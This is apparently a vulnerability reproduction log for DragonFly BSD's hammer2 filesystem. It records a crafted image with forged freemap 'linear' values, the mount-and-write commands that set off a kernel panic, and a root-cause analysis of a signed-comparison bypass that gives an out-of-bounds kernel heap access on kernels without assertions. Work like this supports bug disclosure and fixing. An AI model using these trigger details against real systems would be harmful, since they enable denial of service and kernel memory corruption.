DF-0821 / run.log
=== DF-0821 baseline reproduction (unpatched #0, GENERIC, INVARIANTS ON) ===
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026
[1] Image crafted: 64MB hammer2, 10 bmap entries poisoned with linear=0x80001000.
[2] Mount succeeded (freemap leaf CRC recomputed; volume header CRCs valid).
[3] File write triggered freemap allocation -> hammer2_bmap_alloc with negative linear.
Command:
vnconfig -c vn1 /tmp/h2_craft_821.img
mount -t hammer2 /dev/vn1@testvol /mnt/h2821
echo trigger > /mnt/h2821/poison_file
Result: PANIC (guest down, ssh died). Serial-log signature:
panic: assertion "bmap->linear >= 0 && bmap->linear + size <= HAMMER2_SEGSIZE && (bmap->linear & (HAMMER2_ALLOC_MIN - 1)) == 0" failed in hammer2_bmap_alloc at /usr/src/sys/vfs/hammer2/hammer2_freemap.c:633
cpuid = 3
Trace beginning at frame 0xfffff80118fc3550
hammer2_bmap_alloc.constprop.2() at hammer2_bmap_alloc.constprop.2+0x3a5 0xffffffff809825b5
hammer2_bmap_alloc.constprop.2() at hammer2_bmap_alloc.constprop.2+0x3a5 0xffffffff809825b5
hammer2_freemap_alloc() at hammer2_freemap_alloc+0x45c 0xffffffff80982a3c
hammer2_chain_modify() at hammer2_chain_modify+0x60c 0xffffffff809702ec
hammer2_chain_create() at hammer2_chain_create+0xe24 0xffffffff80973a14
hammer2_xop_inode_create_det() at hammer2_xop_inode_create_det+0x125 0xffffffff8097fe95
Debugger("panic")
CPU3 stopping CPUs: 0x00000037
stopped
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
Call path (confirmed):
file write -> inode create (hammer2_xop_inode_create_det)
-> hammer2_chain_create -> hammer2_chain_modify
-> hammer2_freemap_alloc -> hammer2_bmap_alloc
-> KKASSERT(bmap->linear >= 0 && ...) PANICS at :633
Root cause: bmap->linear (int32_t, loaded raw from disk at hammer2_chain.c:1100)
was forged to 0x80001000 (int32 -2147479552) in the freemap leaf. It passes all
3 linear-iterator guards at hammer2_freemap.c:616-619 because the third guard
(linear < HAMMER2_SEGSIZE) is a SIGNED comparison (negative < 4MB => true).
The KKASSERT at :631-633 then catches it. On an INVARIANTS-OFF kernel the
KKASSERT is compiled out and the negative linear drives an OOB array index
(i = linear/(SEGSIZE/8) = -4095), reading/writing bmap->bitmapq[-4095] =
32760 bytes BEFORE bitmapq[0] in kernel heap (see harness.c for the OOB extent).
Reproduced deterministically on 2 independent fresh-reset runs on #0.